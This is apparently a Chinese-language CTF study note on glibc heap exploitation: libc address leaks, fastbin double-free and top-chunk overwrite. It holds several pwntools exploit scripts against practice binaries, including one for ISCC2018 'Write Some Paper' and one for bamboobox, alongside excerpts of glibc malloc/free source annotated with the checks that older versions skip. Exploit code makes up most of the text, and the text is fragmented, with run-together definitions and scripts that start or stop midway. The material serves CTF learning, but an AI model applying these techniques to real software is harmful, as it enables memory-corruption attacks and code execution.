defeditbook(book_id, new_des): io.sendlineafter("6. Exit\n> ",b"3") io.sendlineafter("Enter the book id you want to edit: ",book_id) io.sendlineafter("Enter new book description: ",new_des)
defdeletebook(book_id): io.sendlineafter("6. Exit\n> ",b"2") io.sendlineafter("Enter the book id you want to delete: ",bytes(str(book_id).encode('ascii'))) defexitpro(): io.sendlineafter("6. Exit\n> ", b"6")
io.sendline(b'3') io.sendline(b'0') putadd = u64(io.recv()[0:6].ljust(8,b'\x00')) libc_puts = libc.symbols['puts'] base = putadd - libc_puts system = base +libc.symbols["system"] edit(b'1',b'8',p64(system)) io.sendline(b'3') io.sendline(b'2') #io.sendline("cat flag") io.recv() sleep(5) io.interactive()
#io.recv()
double_free
注意一系列的检查吧,搞笑的是检查size的时候居然只看低4字节,因此可以通过hex表找可以伪造堆块的位置,其余的便没了。基本思想就是可以控制free掉的堆块进而改变fd指针,进而可以malloc的任意位置,以ISCC218–Write Some Paper为例,还有比较重要的是,低版本的堆fasbin没有地址对齐检查,否则就不好利用了
from pwn import * context(os='linux',arch='amd64',log_level='debug')
myelf = ELF("./paper") io =process("./paper") defcreate(index,size,content): io.sendlineafter("2 delete paper\n",b'1') io.sendlineafter("Input the index you want to store(0-9):",index) io.sendlineafter("How long you will enter:",size) io.sendlineafter("please enter your content:",content) defde(index): io.sendlineafter("2 delete paper\n", b'2') io.sendlineafter("which paper you want to delete,please enter it's index(0-9):",index) create(b'0',b'56',8*b'a') create(b'1',b'56',8*b'a') create(b'2',b'56',8*b'a') de(b'0') de(b'1') de(b'0') #gdb.attach(io) #pause() mallocadd = 0x0000000000602032 sysadd = 0x0000000000400943 create(b'3',b'56',p64(mallocadd)) create(b'4',b'56',8*b'c') create(b'5',b'56',8*b'd') create(b'6',b'56',22*b'a'+p64(sysadd)) io.sendlineafter("2 delete paper\n", b'2') io.interactive()
if (victim != NULL) { if (__glibc_unlikely (misaligned_chunk (victim))) //地址对齐检查,低版本好像没有 malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
if (SINGLE_THREAD_P) *fb = REVEAL_PTR (victim->fd); else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)");//chunksize检查 check_remalloced_chunk (av, victim, nb);//debug模式调试所用,不用关心 #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (__glibc_unlikely (misaligned_chunk (tc_victim))) malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (tc_victim->fd); else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
```python from pwn import * io = process("./bamboobox") #io = remote("node5.buuoj.cn",28639) context.terminal = ['tmux','splitw','-h'] #context.log_level='debug' def create(size,content): io.sendlineafter("Your choice:",b'2') io.sendlineafter("Please enter the length of item name:",size) io.sendafter("Please enter the name of item:",content) def show(): io.sendlineafter("Your choice:", b'1') return io.recvuntil("\n").strip() def change(index,size,content): io.sendlineafter("Your choice:", b'3') io.sendlineafter("Please enter the index of item:",index) io.sendlineafter("Please enter the length of item name:",size) io.sendafter("Please enter the new name of the item:",content) def remove(index): io.sendlineafter("Your choice:", b'4') io.sendlineafter("Please enter the index of item:",index) def exit(): io.sendlineafter("Your choice:", b'5') create(b'248',24*b'a') change(b'0',b'256',248*b'a'+p64(0xffffffffffffffff)) create(b'-304',8*b'a') create(b'24',8*b'a'+p64(0x0000000000400D49))
void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */ return;
/* Quickly check that the freed pointer matches the tag for the memory. This gives a useful double-free detection. */ if (__glibc_unlikely (mtag_enabled)) *(volatilechar *)mem;
int err = errno;
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */